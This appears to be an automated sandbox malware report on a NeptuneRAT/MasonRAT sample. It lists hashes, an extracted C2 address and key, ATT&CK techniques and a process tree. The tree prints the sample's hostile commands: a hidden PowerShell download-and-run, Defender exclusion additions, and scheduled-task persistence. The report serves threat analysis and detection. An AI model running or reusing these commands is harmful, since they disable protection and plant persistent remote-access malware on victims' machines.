neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

Analysis

user interaction
yes
max time kernel
18s
max time network
37s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 01:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Bypassed.exe
Size 1.9MB
Sample260805-bqq4easyft
SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
MD5 895088641b452ca046da55b8901462d7
SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
TLSH
T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution neptunerat persistence trojan

Malware Config

Extracted

Family

neptunerat

82.22.62.124:443

Attributes

filename
MasonUSB.exe
group
MasonGroup
key
eacBkjvaIIlrNRCZ
rat_name
MasonRAT

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral1/memory/1428-43-0x0000000002900000-0x0000000002944000-memory.dmp	family_neptunerat
behavioral1/memory/1428-306-0x000000001B6B0000-0x000000001B6C2000-memory.dmp	family_neptunerat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4308	powershell.exe
1200	powershell.exe
1916	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	9e535045-256b-48e8-bebd-f93bf6312e91.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	svhost.exe

Executes dropped EXE 5 IoCs

pid	Process
2452	9e535045-256b-48e8-bebd-f93bf6312e91.exe
4948	svhost.exe
1428	svhost.exe
2268	jcaw4fsn.sfm.exe
4172	svhost.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	9e535045-256b-48e8-bebd-f93bf6312e91.exe
File opened for modification	C:\Windows\svhost.exe	9e535045-256b-48e8-bebd-f93bf6312e91.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4852	cmd.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02royykjlqrkqybv\AppIdList	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02royykjlqrkqybv\Reason = "2147750679"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3920	SCHTASKS.exe
4752	schtasks.exe
696	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1200	powershell.exe
1200	powershell.exe
1916	powershell.exe
1916	powershell.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
4308	powershell.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
4308	powershell.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
4308	powershell.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
4308	powershell.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe
4308	powershell.exe
2268	jcaw4fsn.sfm.exe
2268	jcaw4fsn.sfm.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3248	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	9e535045-256b-48e8-bebd-f93bf6312e91.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	4948	svhost.exe
Token: SeDebugPrivilege	1428	svhost.exe
Token: SeDebugPrivilege	1428	svhost.exe
Token: SeDebugPrivilege	2268	jcaw4fsn.sfm.exe
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeDebugPrivilege	4172	svhost.exe
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeShutdownPrivilege	3248	Explorer.EXE
Token: SeCreatePagefilePrivilege	3248	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2364	svchost.exe
Token: SeIncreaseQuotaPrivilege	2364	svchost.exe
Token: SeSecurityPrivilege	2364	svchost.exe
Token: SeTakeOwnershipPrivilege	2364	svchost.exe
Token: SeLoadDriverPrivilege	2364	svchost.exe
Token: SeSystemtimePrivilege	2364	svchost.exe
Token: SeBackupPrivilege	2364	svchost.exe
Token: SeRestorePrivilege	2364	svchost.exe
Token: SeShutdownPrivilege	2364	svchost.exe
Token: SeSystemEnvironmentPrivilege	2364	svchost.exe
Token: SeUndockPrivilege	2364	svchost.exe
Token: SeManageVolumePrivilege	2364	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2364	svchost.exe
Token: SeIncreaseQuotaPrivilege	2364	svchost.exe
Token: SeSecurityPrivilege	2364	svchost.exe
Token: SeTakeOwnershipPrivilege	2364	svchost.exe
Token: SeLoadDriverPrivilege	2364	svchost.exe
Token: SeSystemtimePrivilege	2364	svchost.exe
Token: SeBackupPrivilege	2364	svchost.exe
Token: SeRestorePrivilege	2364	svchost.exe
Token: SeShutdownPrivilege	2364	svchost.exe
Token: SeSystemEnvironmentPrivilege	2364	svchost.exe
Token: SeUndockPrivilege	2364	svchost.exe
Token: SeManageVolumePrivilege	2364	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2364	svchost.exe
Token: SeIncreaseQuotaPrivilege	2364	svchost.exe
Token: SeSecurityPrivilege	2364	svchost.exe
Token: SeTakeOwnershipPrivilege	2364	svchost.exe
Token: SeLoadDriverPrivilege	2364	svchost.exe
Token: SeSystemtimePrivilege	2364	svchost.exe
Token: SeBackupPrivilege	2364	svchost.exe
Token: SeRestorePrivilege	2364	svchost.exe
Token: SeShutdownPrivilege	2364	svchost.exe
Token: SeSystemEnvironmentPrivilege	2364	svchost.exe
Token: SeUndockPrivilege	2364	svchost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1144	Conhost.exe
4004	Conhost.exe
3872	Conhost.exe
4592	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 380 wrote to memory of 2452	380	Bypassed.exe	86
PID 2452 wrote to memory of 1200	2452	9e535045-256b-48e8-bebd-f93bf6312e91.exe	87
PID 2452 wrote to memory of 1916	2452	9e535045-256b-48e8-bebd-f93bf6312e91.exe	89
PID 1428 wrote to memory of 2268	1428	svhost.exe	94
PID 1428 wrote to memory of 696	1428	svhost.exe	95
PID 2268 wrote to memory of 616	2268	jcaw4fsn.sfm.exe	5
PID 2268 wrote to memory of 676	2268	jcaw4fsn.sfm.exe	7
PID 2268 wrote to memory of 888	2268	jcaw4fsn.sfm.exe	11
PID 2268 wrote to memory of 1020	2268	jcaw4fsn.sfm.exe	13
PID 2268 wrote to memory of 512	2268	jcaw4fsn.sfm.exe	14
PID 2268 wrote to memory of 412	2268	jcaw4fsn.sfm.exe	15
PID 2268 wrote to memory of 1040	2268	jcaw4fsn.sfm.exe	16
PID 2268 wrote to memory of 1076	2268	jcaw4fsn.sfm.exe	17
PID 2268 wrote to memory of 1092	2268	jcaw4fsn.sfm.exe	18
PID 2268 wrote to memory of 1116	2268	jcaw4fsn.sfm.exe	19
PID 2268 wrote to memory of 1132	2268	jcaw4fsn.sfm.exe	20
PID 2268 wrote to memory of 1264	2268	jcaw4fsn.sfm.exe	22
PID 2268 wrote to memory of 1312	2268	jcaw4fsn.sfm.exe	23
PID 2268 wrote to memory of 1320	2268	jcaw4fsn.sfm.exe	24
PID 2268 wrote to memory of 1504	2268	jcaw4fsn.sfm.exe	25
PID 2268 wrote to memory of 1564	2268	jcaw4fsn.sfm.exe	26
PID 2268 wrote to memory of 1584	2268	jcaw4fsn.sfm.exe	27
PID 2268 wrote to memory of 1648	2268	jcaw4fsn.sfm.exe	28
PID 2268 wrote to memory of 1660	2268	jcaw4fsn.sfm.exe	29
PID 2268 wrote to memory of 1764	2268	jcaw4fsn.sfm.exe	30
PID 2268 wrote to memory of 1812	2268	jcaw4fsn.sfm.exe	31
PID 2268 wrote to memory of 1848	2268	jcaw4fsn.sfm.exe	32
PID 2268 wrote to memory of 1932	2268	jcaw4fsn.sfm.exe	33
PID 2268 wrote to memory of 1948	2268	jcaw4fsn.sfm.exe	34
PID 2268 wrote to memory of 2044	2268	jcaw4fsn.sfm.exe	35
PID 2268 wrote to memory of 1152	2268	jcaw4fsn.sfm.exe	36
PID 2268 wrote to memory of 1620	2268	jcaw4fsn.sfm.exe	37
PID 2268 wrote to memory of 1712	2268	jcaw4fsn.sfm.exe	38
PID 2268 wrote to memory of 2136	2268	jcaw4fsn.sfm.exe	39
PID 2268 wrote to memory of 2256	2268	jcaw4fsn.sfm.exe	41
PID 2268 wrote to memory of 2364	2268	jcaw4fsn.sfm.exe	42
PID 2268 wrote to memory of 2420	2268	jcaw4fsn.sfm.exe	43
PID 2268 wrote to memory of 2428	2268	jcaw4fsn.sfm.exe	44
PID 2268 wrote to memory of 2468	2268	jcaw4fsn.sfm.exe	45
PID 2268 wrote to memory of 2536	2268	jcaw4fsn.sfm.exe	46
PID 2268 wrote to memory of 2552	2268	jcaw4fsn.sfm.exe	47
PID 2268 wrote to memory of 2576	2268	jcaw4fsn.sfm.exe	48
PID 2268 wrote to memory of 2780	2268	jcaw4fsn.sfm.exe	49
PID 2268 wrote to memory of 2232	2268	jcaw4fsn.sfm.exe	51
PID 2268 wrote to memory of 664	2268	jcaw4fsn.sfm.exe	52
PID 2268 wrote to memory of 1424	2268	jcaw4fsn.sfm.exe	53
PID 2268 wrote to memory of 692	2268	jcaw4fsn.sfm.exe	54
PID 2268 wrote to memory of 3224	2268	jcaw4fsn.sfm.exe	55
PID 2268 wrote to memory of 3248	2268	jcaw4fsn.sfm.exe	56
PID 2268 wrote to memory of 3412	2268	jcaw4fsn.sfm.exe	57
PID 2268 wrote to memory of 3604	2268	jcaw4fsn.sfm.exe	58
PID 2268 wrote to memory of 3756	2268	jcaw4fsn.sfm.exe	60
PID 2268 wrote to memory of 3992	2268	jcaw4fsn.sfm.exe	62
PID 2268 wrote to memory of 4732	2268	jcaw4fsn.sfm.exe	65
PID 2268 wrote to memory of 5012	2268	jcaw4fsn.sfm.exe	67
PID 2268 wrote to memory of 1832	2268	jcaw4fsn.sfm.exe	69
PID 2268 wrote to memory of 5100	2268	jcaw4fsn.sfm.exe	70
PID 2268 wrote to memory of 2924	2268	jcaw4fsn.sfm.exe	71
PID 2268 wrote to memory of 1912	2268	jcaw4fsn.sfm.exe	72
PID 2268 wrote to memory of 4132	2268	jcaw4fsn.sfm.exe	73
PID 2268 wrote to memory of 2648	2268	jcaw4fsn.sfm.exe	74
PID 2268 wrote to memory of 2888	2268	jcaw4fsn.sfm.exe	76
PID 2268 wrote to memory of 3620	2268	jcaw4fsn.sfm.exe	77
PID 3248 wrote to memory of 4212	3248	Explorer.EXE

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:512

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-dce3d641-b38e-46cd-8c58-78d3327cacb5 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-810be3e3-42df-4918-ad52-ca66deabf997 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-73c0565a-f9aa-4815-823e-37aaedc303e3 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cb02cd80-9e9f-4da1-b39b-125c09ccf669 -LifetimeId:fe4de7e4-b52f-43c9-b214-b9f8f991987b -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1076
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:1424
- C:\Windows\svhost.exe
  C:\Windows\svhost.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Users\Admin\AppData\Local\Temp\jcaw4fsn.sfm.exe
    "C:\Users\Admin\AppData\Local\Temp\jcaw4fsn.sfm.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2268
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:696
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3920
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4308
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:4004
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4752
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:3872
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:5108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD760.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1312
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1712

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3224

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Users\Admin\AppData\Local\Temp\9e535045-256b-48e8-bebd-f93bf6312e91.exe
    "C:\Users\Admin\AppData\Local\Temp\9e535045-256b-48e8-bebd-f93bf6312e91.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3412

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1832

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:5100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2924

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1912

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3620

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1880

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:4592

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4172

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

